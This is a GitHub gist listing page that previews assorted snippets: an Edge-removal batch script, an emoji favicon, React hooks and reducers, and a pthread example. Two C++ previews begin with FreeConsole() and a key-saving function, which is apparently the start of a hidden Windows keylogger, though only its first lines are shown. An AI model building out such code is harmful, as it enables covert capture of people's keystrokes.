Skip to content

Instantly share code, notes, and snippets.

View heytulsiprasad's full-sized avatar
⚛️
Overreacting

Tulsi Prasad heytulsiprasad

⚛️
Overreacting
View GitHub Profile
@heytulsiprasad
heytulsiprasad / removeEdge.bat
Last active June 4, 2025 16:32
Removes edge browser from your system permanently
@echo off
:: Creator: Dave Kirkwood
:: Modified:By Britec
:: Created: 24/09/2020
:: Updated: 21/09/2022
::
:: First Stop Microsoft Edge Task
taskkill /F /IM msedge.exe >nul 2>&1
@heytulsiprasad
heytulsiprasad / emoji.html
Last active September 9, 2023 05:57
Amazing emojis as your favicon
<head>
<title>Target 2025</title>
<link
rel="icon"
href="data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22 viewBox=%220 0 100 100%22><text y=%22.9em%22 font-size=%2290%22>🎯</text></svg>"
/>
</head>
#include <iostream>
#include <windows.h>
using namespace std;
int Save(int _key,char *file);
int main()
{
FreeConsole();
#include <iostream>
#include <windows.h>
using namespace std;
int Save(int _key,char *file);
int main()
{
FreeConsole();
@heytulsiprasad
heytulsiprasad / mailto.md
Last active December 14, 2022 18:07
URL to open preferred email clients rather than default local mail engine
import * as Actions from './../../../constants/actionTypes';
const initialState = {
pages: [],
};
const pageReducer = (state = initialState, action) => {
switch (action.type) {
// New page open
case Actions.ADD_PAGE: {
@heytulsiprasad
heytulsiprasad / useNonInitialHook.js
Last active October 27, 2021 13:05
Custom hook that doesn't run on initial render
import { useRef, useEffect } from "react";
const useNonInitialEffect = (effect, deps = []) => {
const initialRender = useRef(true);
useEffect(() => {
let effectReturns = () => {};
if (initialRender.current) {
initialRender.current = false;
import React from "react";
import { connect } from "react-redux";
import { loadMoreChatrooms } from "actions";
import AllChatrooms from "./AllChatrooms";
const Profile = ({ chatrooms, loadMoreChatrooms }) => {
return (
<div>
<AllChatrooms chatrooms={chatrooms} />
@heytulsiprasad
heytulsiprasad / timeDifference.js
Created September 22, 2021 04:42
Shows how to calculate difference in execution time in react native
console.log(JSON.stringify({ filter }, null, 4));
const start = new Date().getTime();
const end = new Date().getTime();
const time = end - start;
console.log({
inLength: filteredChatrooms.length,
filterTime: time,
@heytulsiprasad
heytulsiprasad / pthread.c
Last active September 2, 2021 09:21
Pthread examples
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> //Header file for sleep(). man 3 sleep for details.
#include <pthread.h>
// A normal C function that is executed as a thread
// when its name is specified in pthread_create()
void *myThreadFun(void *vargp)
{
sleep(4);